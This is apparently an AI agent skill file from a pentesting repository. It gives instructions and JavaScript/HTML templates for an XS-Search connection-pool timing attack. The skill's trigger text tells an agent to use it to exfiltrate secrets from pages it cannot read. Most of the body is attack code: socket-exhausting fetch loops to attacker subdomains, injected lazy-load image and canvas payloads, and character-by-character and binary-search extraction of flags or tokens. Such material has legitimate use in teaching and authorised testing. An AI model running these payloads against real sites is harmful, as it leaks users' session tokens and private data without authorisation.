Hacktricks-skills xs-search-connection-pool
XS-Search connection pool timing attack for web pentesting. Use this skill whenever you need to exfiltrate data from a target page you cannot directly read, when you can control content that affects page load time, or when you have a CSRF/HTML injection vector and need to extract secrets like flags, tokens, or sensitive data. This technique works when you can make the target load different content based on what you're testing and measure timing differences through connection pool exhaustion. Make sure to use this skill for any XS-Leak, XS-Search, timing-based data exfiltration, or when you have HTML injection without JS execution and need to read protected content.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/connection-pool-example/SKILL.MDXS-Search Connection Pool Timing Attack
Overview
XS-Search is a timing-based XS-Leak technique that exploits browser connection pool limits to exfiltrate data from pages you cannot directly read. By exhausting available sockets and measuring request timing, you can determine whether specific content is being loaded on the target page.
When to Use
Use this technique when:
- You have HTML injection but no JavaScript execution (CSP restrictions)
- You can trigger the target to load pages via CSRF or other means
- You need to extract secrets (flags, tokens, session data) from a page
- The target page's load time varies based on content (e.g., more images = slower)
- You can control what content gets loaded on the target page
How It Works
- Exhaust the connection pool - Open 255+ connections to different origins to block most sockets
- Trigger the target - Make the victim load the page you want to probe
- Measure timing - Send your own requests and measure how long they take
- Compare results - If the target page is loading heavy content, your requests will be slower (fighting for the remaining socket)
Prerequisites
- Ability to inject HTML (no JS needed)
- Ability to trigger page loads on the target (CSRF, window.open, etc.)
- Control over a server to measure timing (your own domain)
- Understanding of the target's content structure
Basic Exploit Template
<!-- Connection pool exhaustion and timing measurement --> <script> const SOCKET_LIMIT = 255; // Chrome default, 99 in headless const YOUR_SERVER = "https://your-domain.com"; // Exhaust all sockets async function exhaustSockets() { for (let i = 0; i < SOCKET_LIMIT; i++) { fetch(`https://${i}.your-domain.com/sleep/60`, { mode: "no-cors" }); } } // Measure timing async function measureTiming() { const start = performance.now(); await fetch(`${YOUR_SERVER}/probe`, { mode: "no-cors" }); return performance.now() - start; } // Test if content is loaded async function testContent(content) { await exhaustSockets(); // Trigger target to load page with content // ... const timing = await measureTiming(); return timing > THRESHOLD; // Adjust based on calibration } </script>
Calibration
Before running the exploit, calibrate your timing threshold:
async function calibrate() { // Measure slow case (content loaded) const slowTime = await measureWithContent(); // Measure fast case (content not loaded) const fastTime = await measureWithoutContent(); // Set threshold between the two return (slowTime + fastTime) / 2; }
Character-by-Character Exfiltration
To extract secrets one character at a time:
const alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789}" let known = "FLAG{" async function extractSecret() { for (const char of alphabet) { const testValue = known + char; // Inject test value into target injectContent(testValue); // Measure timing const timing = await measureTiming(); // If slow, this character is correct if (timing > THRESHOLD) { known += char; console.log("Found:", known); if (char === "}") break; } } return known; }
Key Techniques
1. Image Loading for Timing
Inject many images that only load if content is present:
<!-- Only loads if this post is visible --> <img loading=lazy src="/?1"><img loading=lazy src="/?2"> <!-- ... many more -->
2. Canvas Height Trick
Use canvas height to control lazy loading threshold:
<canvas height="3350px"></canvas> <img loading=lazy src="/?1">
Images below the threshold won't load, creating timing difference.
3. Socket Blocking with Sleep Server
Use a sleep server to hold connections open:
// npm install sleep-server // Use subdomains for different origins const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`
4. Binary Search Optimization
For large character sets, use binary search:
async function binarySearch(charset, known) { let L = 0, R = charset.length - 1; while (R - L > 3) { const M = Math.floor((L + R) / 2); const found = await testChar(known + charset[M]); if (found) L = M; else R = M - 1; } // Linear search for remaining for (let i = R; i >= L; i--) { if (await testChar(known + charset[i])) { return charset[i]; } } return false; }
Common Pitfalls
- Threshold too high/low - Always calibrate for your specific target
- Not enough samples - Run each test 3-5 times and average
- Socket limit wrong - Chrome = 255, headless = 99
- CSP blocking - Ensure your injected HTML respects CSP
- Timing variance - Network conditions affect results; use relative timing
Example: Full Exploit Structure
// Configuration const TARGET = "https://target.com"; const YOUR_SERVER = "https://your-domain.com"; const SOCKET_LIMIT = 255; const THRESHOLD = 800; // ms, calibrate this! // Socket exhaustion async function exhaustSockets() { for (let i = 0; i < SOCKET_LIMIT; i++) { fetch(`https://${i}.${YOUR_SERVER}/sleep/40`, { mode: "no-cors" }); } } // Timing measurement async function measureTiming() { const start = performance.now(); await fetch(`${YOUR_SERVER}/probe`, { mode: "no-cors" }); return performance.now() - start; } // Main exploit async function exploit() { await exhaustSockets(); const timing = await measureTiming(); console.log("Timing:", timing); return timing > THRESHOLD; }
Tools and Resources
- sleep-server:
- Create delay endpointsnpm install sleep-server - xsleaks.dev: Documentation on XS-Leak techniques
- ngrok: For local server exposure during testing
When NOT to Use
- If you have direct JavaScript access to the page (use simpler methods)
- If the target uses strict CSP that blocks all external requests
- If you cannot trigger page loads on the target
- If timing variance is too high to get reliable results
Next Steps
After implementing the basic exploit:
- Calibrate timing thresholds for your specific target
- Add retry logic and averaging for reliability
- Implement character-by-character extraction
- Consider binary search for large character sets
- Test in both normal and headless browsers (different socket limits)